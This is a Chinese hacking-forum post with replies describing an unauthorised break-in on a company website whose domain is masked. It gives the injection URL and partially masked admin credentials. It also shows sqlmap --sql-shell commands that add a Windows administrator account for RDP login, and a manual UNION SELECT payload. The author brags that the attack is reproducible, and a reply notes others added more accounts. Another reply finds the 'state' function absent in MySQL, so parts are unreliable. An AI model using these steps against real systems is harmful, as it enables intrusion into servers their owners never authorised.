记一次爆菊

逛习科，看到一个贴
他只拿到里网站管理账号密码  没有获取webshell
网址打码了，不过查看图片内容，最终通过 百度搜XXXX有限公司”确定网址为：http://www.XXXX.com.cn/

由于已经有人检测过了，所以省了很多时间  

已知：
注入点：http://www.XXXX.com.cn/news/news_detail.php?id=179
root权限  
sqlmap的--os-shell  失败  我尝试了sqlmap1.0  和sqlmap0.9 还有 Pangolin
直接用load_file可以读取文件，但是数据库不支持外连
http://www.XXXX.com.cn/news/news_detail.php?id=179加单引号爆出路径
管理后台：http://www.XXXX.com.cn/admin/frameset/
管理账号：XXXX2012  密码：XXXX_2012




------------------------
之前的那个人就检测到这里
------------------------


我上手了，其实我会的也就这么多，登录后台，发现不可上传文件，其实php的网站后台如果不能上传文件，基本上也就没什么几率拿webshell了

上Nmap 开放了80和3389   连3389  可连

思绪也断了，吃过了饭，转头又回来

想弄个90sec的账号，所以不能这么就放弃

直到想到了执行sql命令：

sqlmap.py -u "http://www.XXXX.com.cn/news/news_detail.php?id=179" --sql-shell

sql-shell> select state("net user")
sql-shell> select state("net user 90sec 90sec /add")
sql-shell> select state("net localgroup administrators 90sec /add")

成功加账号，并可以登录3389，我就不配图了（90sec的账号我已经删除，不过可以复现）



其实，此篇文章也没事技术性可言，但是说明了一些问题

1.大部分脚本小子都数据库语言还不是很了解
2.没有耐心，相信之前在习科的那个人如果再有些耐心，也许也会成功getshell
3.思路不够，其实我觉得，拿webshell还是有方法的。--os-shell失败也许是目录不可写，耐心尝试一些目录也许就能成功，因为magic_quotes_gpc 是OFF的
====================================
内容缺少闪光点，故不予通过

sql-shell> select state("net user")
这句手工注入就可以了，sqlmap只会爆破，而且用的是第七列的union 查询，是有长度限制的。
net user结果的开始是一串------------------,这有爆破的必要吗？

UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,SUBSTRING(CAST(state("net user") AS CHAR),80,256)#
不知道谁又搞了n多个90sec账户。

看到了本篇文章之后我搭建了phpstudy，使用数据库test  和mysql 都没有成功执行 state ，
同时mysql报错
mysql> select cast(state("whoami"))
    -> ;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near ')' at
line 1
mysql> select state('whoami');
ERROR 1305 (42000): FUNCTION mysql.state does not exist

这是什么情况

any3ite 发表于 2016-3-8 12:32
看到了本篇文章之后我搭建了phpstudy，使用数据库test  和mysql 都没有成功执行 state ，
同时mysql报错
...

楼上说了在sqlmap中是爆破函数，（不确定是否是爆破），但是手动执行肯定没有啊，毕竟没有创建系统命令执行函数  但是能爆破系统命令执行函数，运气真是不错